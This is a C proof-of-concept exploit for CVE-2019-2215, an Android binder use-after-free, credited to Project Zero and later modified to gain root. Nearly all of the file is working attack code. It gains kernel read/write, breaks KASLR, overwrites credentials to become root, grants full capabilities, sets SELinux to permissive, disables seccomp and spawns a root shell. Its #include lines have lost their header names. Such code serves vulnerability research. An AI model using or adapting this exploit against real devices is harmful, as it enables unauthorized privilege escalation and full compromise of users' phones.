/* * POC to gain arbitrary kernel R/W access using CVE-2019-2215 * https://bugs.chromium.org/p/project-zero/issues/detail?id=1942 * * Jann Horn & Maddie Stone of Google Project Zero * Modified by Grant Hernandez to achieve root (Oct 15th 2019) * * 3 October 2019 */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include /// BEGIN P0 EXPLOIT /// #define BINDER_THREAD_EXIT 0x40046208ul // NOTE: we don't cover the task_struct* here; we want to leave it uninitialized #define BINDER_THREAD_SZ 0x190 #define IOVEC_ARRAY_SZ (BINDER_THREAD_SZ / 16) //25 #define WAITQUEUE_OFFSET 0xA0 #define IOVEC_INDX_FOR_WQ (WAITQUEUE_OFFSET / 16) //10 // Linux localhost 4.4.177-g83bee1dc48e8 #1 SMP PREEMPT Mon Jul 22 20:12:03 UTC 2019 aarch64 // data from `pahole` on my own build with the same .config #define OFFSET__task_struct__thread_info__flags 0 #define OFFSET__task_struct__mm 0x520 #define OFFSET__task_struct__cred 0x790 #define OFFSET__mm_struct__user_ns 0x300 #define OFFSET__uts_namespace__name__version 0xc7 // SYMBOL_* are relative to _head; data from /proc/kallsyms on userdebug #define SYMBOL__init_user_ns 0x202f2c8 #define SYMBOL__init_task 0x20257d0 #define SYMBOL__init_uts_ns 0x20255c0 #define SYMBOL__selinux_enforcing 0x23ce4a8 // Grant: recovered using droidimg+miasm void hexdump_memory(unsigned char *buf, size_t byte_count) { unsigned long byte_offset_start = 0; if (byte_count % 16) errx(1, "hexdump_memory called with non-full line"); for (unsigned long byte_offset = byte_offset_start; byte_offset < byte_offset_start + byte_count; byte_offset += 16) { char line[1000]; char *linep = line; linep += sprintf(linep, "%08lx ", byte_offset); for (int i=0; i<16; i++) { linep += sprintf(linep, "%02hhx ", (unsigned char)buf[byte_offset + i]); } linep += sprintf(linep, " |"); for (int i=0; i<16; i++) { char c = buf[byte_offset + i]; if (isalnum(c) || ispunct(c) || c == ' ') { *(linep++) = c; } else { *(linep++) = '.'; } } linep += sprintf(linep, "|"); puts(line); } } int epfd; void *dummy_page_4g_aligned; unsigned long current_ptr; int binder_fd; void leak_task_struct(void) { struct epoll_event event = { .events = EPOLLIN }; if (epoll_ctl(epfd, EPOLL_CTL_ADD, binder_fd, &event)) err(1, "epoll_add"); struct iovec iovec_array[IOVEC_ARRAY_SZ]; memset(iovec_array, 0, sizeof(iovec_array)); iovec_array[IOVEC_INDX_FOR_WQ].iov_base = dummy_page_4g_aligned; /* spinlock in the low address half must be zero */ iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 0x1000; /* wq->task_list->next */ iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base = (void *)0xDEADBEEF; /* wq->task_list->prev */ iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len = 0x1000; int b; int pipefd[2]; if (pipe(pipefd)) err(1, "pipe"); if (fcntl(pipefd[0], F_SETPIPE_SZ, 0x1000) != 0x1000) err(1, "pipe size"); static char page_buffer[0x1000]; //if (write(pipefd[1], page_buffer, sizeof(page_buffer)) != sizeof(page_buffer)) err(1, "fill pipe"); pid_t fork_ret = fork(); if (fork_ret == -1) err(1, "fork"); if (fork_ret == 0){ /* Child process */ prctl(PR_SET_PDEATHSIG, SIGKILL); sleep(2); printf("CHILD: Doing EPOLL_CTL_DEL.\n"); epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event); printf("CHILD: Finished EPOLL_CTL_DEL.\n"); // first page: dummy data if (read(pipefd[0], page_buffer, sizeof(page_buffer)) != sizeof(page_buffer)) err(1, "read full pipe"); close(pipefd[1]); printf("CHILD: Finished write to FIFO.\n"); exit(0); } //printf("PARENT: Calling READV\n"); ioctl(binder_fd, BINDER_THREAD_EXIT, NULL); b = writev(pipefd[1], iovec_array, IOVEC_ARRAY_SZ); printf("writev() returns 0x%x\n", (unsigned int)b); // second page: leaked data if (read(pipefd[0], page_buffer, sizeof(page_buffer)) != sizeof(page_buffer)) err(1, "read full pipe"); // Grant: uncomment this if you are having issues getting current_ptr on your kernel //hexdump_memory((unsigned char *)page_buffer, sizeof(page_buffer)); printf("PARENT: Finished calling READV\n"); int status; if (wait(&status) != fork_ret) err(1, "wait"); current_ptr = *(unsigned long *)(page_buffer + 0xe8); printf("current_ptr == 0x%lx\n", current_ptr); } void clobber_addr_limit(void) { struct epoll_event event = { .events = EPOLLIN }; if (epoll_ctl(epfd, EPOLL_CTL_ADD, binder_fd, &event)) err(1, "epoll_add"); struct iovec iovec_array[IOVEC_ARRAY_SZ]; memset(iovec_array, 0, sizeof(iovec_array)); unsigned long second_write_chunk[] = { 1, /* iov_len */ 0xdeadbeef, /* iov_base (already used) */ 0x8 + 2 * 0x10, /* iov_len (already used) */ current_ptr + 0x8, /* next iov_base (addr_limit) */ 8, /* next iov_len (sizeof(addr_limit)) */ 0xfffffffffffffffe /* value to write */ }; iovec_array[IOVEC_INDX_FOR_WQ].iov_base = dummy_page_4g_aligned; /* spinlock in the low address half must be zero */ iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 1; /* wq->task_list->next */ iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base = (void *)0xDEADBEEF; /* wq->task_list->prev */ iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len = 0x8 + 2 * 0x10; /* iov_len of previous, then this element and next element */ iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_base = (void *)0xBEEFDEAD; iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_len = 8; /* should be correct from the start, kernel will sum up lengths when importing */ int socks[2]; if (socketpair(AF_UNIX, SOCK_STREAM, 0, socks)) err(1, "socketpair"); if (write(socks[1], "X", 1) != 1) err(1, "write socket dummy byte"); pid_t fork_ret = fork(); if (fork_ret == -1) err(1, "fork"); if (fork_ret == 0){ /* Child process */ prctl(PR_SET_PDEATHSIG, SIGKILL); sleep(2); printf("CHILD: Doing EPOLL_CTL_DEL.\n"); epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event); printf("CHILD: Finished EPOLL_CTL_DEL.\n"); if (write(socks[1], second_write_chunk, sizeof(second_write_chunk)) != sizeof(second_write_chunk)) err(1, "write second chunk to socket"); exit(0); } ioctl(binder_fd, BINDER_THREAD_EXIT, NULL); struct msghdr msg = { .msg_iov = iovec_array, .msg_iovlen = IOVEC_ARRAY_SZ }; int recvmsg_result = recvmsg(socks[0], &msg, MSG_WAITALL); printf("recvmsg() returns %d, expected %lu\n", recvmsg_result, (unsigned long)(iovec_array[IOVEC_INDX_FOR_WQ].iov_len + iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len + iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_len)); } int kernel_rw_pipe[2]; void kernel_write(unsigned long kaddr, void *buf, unsigned long len) { errno = 0; if (len > 0x1000) errx(1, "kernel writes over PAGE_SIZE are messy, tried 0x%lx", len); if (write(kernel_rw_pipe[1], buf, len) != len) err(1, "kernel_write failed to load userspace buffer"); if (read(kernel_rw_pipe[0], (void*)kaddr, len) != len) err(1, "kernel_write failed to overwrite kernel memory"); } void kernel_read(unsigned long kaddr, void *buf, unsigned long len) { errno = 0; if (len > 0x1000) errx(1, "kernel writes over PAGE_SIZE are messy, tried 0x%lx", len); if (write(kernel_rw_pipe[1], (void*)kaddr, len) != len) err(1, "kernel_read failed to read kernel memory"); if (read(kernel_rw_pipe[0], buf, len) != len) err(1, "kernel_read failed to write out to userspace"); } unsigned long kernel_read_ulong(unsigned long kaddr) { unsigned long data; kernel_read(kaddr, &data, sizeof(data)); return data; } unsigned long kernel_read_uint(unsigned long kaddr) { unsigned int data; kernel_read(kaddr, &data, sizeof(data)); return data; } void kernel_write_ulong(unsigned long kaddr, unsigned long data) { kernel_write(kaddr, &data, sizeof(data)); } void kernel_write_uint(unsigned long kaddr, unsigned int data) { kernel_write(kaddr, &data, sizeof(data)); } /// END P0 EXPLOIT /// static char * program_name = NULL; void usage() { char * name = program_name ? program_name : "do_root"; printf("usage: %s [shell|shell_exec]\n" "%s shell - spawns an interactive shell\n" "%s shell_exec \"command\" - runs the provided command in an escalated shell\n", name, name, name ); exit(1); } void escalate() { #ifdef DEBUG_RW unsigned char cred_buf[0xd0] = {0}; unsigned char taskbuf[0x20] = {0}; #endif dummy_page_4g_aligned = mmap((void*)0x100000000UL, 0x2000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); if (dummy_page_4g_aligned != (void*)0x100000000UL) err(1, "mmap 4g aligned"); if (pipe(kernel_rw_pipe)) err(1, "kernel_rw_pipe"); binder_fd = open("/dev/binder", O_RDONLY); epfd = epoll_create(1000); leak_task_struct(); clobber_addr_limit(); setbuf(stdout, NULL); printf("should have stable kernel R/W now :)\n"); unsigned long current_mm = kernel_read_ulong(current_ptr + OFFSET__task_struct__mm); printf("current->mm == 0x%lx\n", current_mm); unsigned long current_user_ns = kernel_read_ulong(current_mm + OFFSET__mm_struct__user_ns); printf("current->mm->user_ns == 0x%lx\n", current_user_ns); // Grant: break KASLR unsigned long kernel_base = current_user_ns - SYMBOL__init_user_ns; printf("kernel base is 0x%lx\n", kernel_base); if (kernel_base & 0xfffUL) errx(1, "bad kernel base (not 0x...000)"); // Grant: define the below if you want to see how your process creds compare to init (1) // useful when understanding what security flags are set /* P0: in case you want to do stuff with the creds, to show that you can get them: */ #ifdef DEBUG_RW unsigned long init_task = kernel_base + SYMBOL__init_task; printf("&init_task == 0x%lx\n", init_task); unsigned long init_task_cred = kernel_read_ulong(init_task + OFFSET__task_struct__cred); printf("init_task.cred == 0x%lx\n", init_task_cred); kernel_read(init_task_cred, cred_buf, sizeof(cred_buf)); printf("init->cred\n"); hexdump_memory(cred_buf, sizeof(cred_buf)); #endif uid_t uid = getuid(); unsigned long my_cred = kernel_read_ulong(current_ptr + OFFSET__task_struct__cred); // offset 0x78 is pointer to void * security unsigned long current_cred_security = kernel_read_ulong(my_cred+0x78); printf("current->cred == 0x%lx\n", my_cred); // Grant: uncomment if you are having issues proving your R/W is working (run `uname -a`) /*unsigned long init_uts_ns = kernel_base + SYMBOL__init_uts_ns; char new_uts_version[] = "EXPLOITED KERNEL"; kernel_write(init_uts_ns + OFFSET__uts_namespace__name__version, new_uts_version, sizeof(new_uts_version));*/ printf("Starting as uid %u\n", uid); #ifdef DEBUG_RW kernel_read(my_cred, cred_buf, sizeof(cred_buf)); printf("current->cred\n"); hexdump_memory(cred_buf, sizeof(cred_buf)); kernel_read((current_ptr) & ~0xf, taskbuf, sizeof(taskbuf)); hexdump_memory(taskbuf, sizeof(taskbuf)); unsigned long init_cred_security = kernel_read_ulong(init_task_cred+0x78); kernel_read(init_cred_security, cred_buf, 0x20); printf("init->security_cred\n"); hexdump_memory(cred_buf, 0x20); kernel_read(current_cred_security, cred_buf, 0x20); printf("current->security_cred\n"); hexdump_memory(cred_buf, 0x20); #endif printf("Escalating...\n"); // change IDs to root (there are eight) for (int i = 0; i < 8; i++) kernel_write_uint(my_cred+4 + i*4, 0); if (getuid() != 0) { printf("Something went wrong changing our UID to root!\n"); exit(1); } printf("UIDs changed to root!\n"); // reset securebits kernel_write_uint(my_cred+0x24, 0); // change capabilities to everything (perm, effective, bounding) for (int i = 0; i < 3; i++) kernel_write_ulong(my_cred+0x30 + i*8, 0x3fffffffffUL); printf("Capabilities set to ALL\n"); // Grant: this was a failed attempt of just changing my SELinux SID to init's (sid = 7) // It was "working", but my process's pty would hang, so I couldnt interact with a shell // From here I just disabled SELinux #if 0 // change SID to init for (int i = 0; i < 2; i++) kernel_write_uint(current_cred_security + i*4, 1); printf("[+] before 2\n"); kernel_write_uint(current_cred_security + 0, 1); printf("[+] before 3\n"); kernel_write_uint(current_cred_security + 8, 7); kernel_write_ulong(current_cred_security, 0x0100000001UL); kernel_write_uint(current_cred_security + 8, 7); printf("[+] SID -> init (7)\n"); #endif // Grant: was checking for this earlier, but it's not set, so I moved on // printf("PR_GET_NO_NEW_PRIVS %d\n", prctl(PR_GET_NO_NEW_PRIVS, 0, 0, 0, 0)); unsigned int enforcing = kernel_read_uint(kernel_base + SYMBOL__selinux_enforcing); printf("SELinux status = %u\n", enforcing); if (enforcing) { printf("Setting SELinux to permissive\n"); kernel_write_uint(kernel_base + SYMBOL__selinux_enforcing, 0); } else { printf("SELinux is already in permissive mode\n"); } // Grant: We want to be as powerful as init, which includes mounting in the global namespace printf("Re-joining the init mount namespace...\n"); int fd = open("/proc/1/ns/mnt", O_RDONLY); if (fd < 0) { perror("open"); exit(1); } if (setns(fd, CLONE_NEWNS) < 0) { perror("setns"); exit(1); } printf("Re-joining the init net namespace...\n"); fd = open("/proc/1/ns/net", O_RDONLY); if (fd < 0) { perror("open"); exit(1); } if (setns(fd, CLONE_NEWNET) < 0) { perror("setns"); exit(1); } // Grant: SECCOMP isn't enabled when running the poc from ADB, only from app contexts if (prctl(PR_GET_SECCOMP) != 0) { printf("Disabling SECCOMP\n"); // Grant: we need to clear TIF_SECCOMP from task first, otherwise, kernel WARN // clear the TIF_SECCOMP flag and everything else :P (feel free to modify this to just clear the single flag) // arch/arm64/include/asm/thread_info.h:#define TIF_SECCOMP 11 kernel_write_ulong(current_ptr + OFFSET__task_struct__thread_info__flags, 0); kernel_write_ulong(current_ptr + OFFSET__task_struct__cred + 0xa8, 0); kernel_write_ulong(current_ptr + OFFSET__task_struct__cred + 0xa0, 0); if (prctl(PR_GET_SECCOMP) != 0) { printf("Failed to disable SECCOMP!\n"); exit(1); } else { printf("SECCOMP disabled!\n"); } } else { printf("SECCOMP is already disabled!\n"); } // Grant: At this point, we are free from our jail (if all went well) #ifdef DEBUG_RW kernel_read(my_cred, cred_buf, sizeof(cred_buf)); printf("------------------\n"); hexdump_memory(cred_buf, sizeof(cred_buf)); #endif } int main(int argc, char * argv[]) { if (argc >= 1) program_name = argv[0]; if (argc < 2) { usage(); } char * applet = argv[1]; if (strcmp(applet, "shell_exec") == 0) { if (argc != 3) { printf("shell_exec needs an command\n"); usage(); } escalate(); char * command = argv[2]; printf("Executing command \"%s\"\n", command); char * args2[] = {"/system/bin/sh", "-c", command, NULL}; execve("/system/bin/sh", args2, NULL); perror("execve"); exit(1); } else if (strcmp(applet, "shell") == 0) { escalate(); printf("Spawning shell!\n"); char * args2[] = {"/system/bin/sh", NULL}; execve("/system/bin/sh", args2, NULL); perror("execve"); exit(1); } else { printf("Unknown applet '%s'\n", applet); usage(); } return 1; }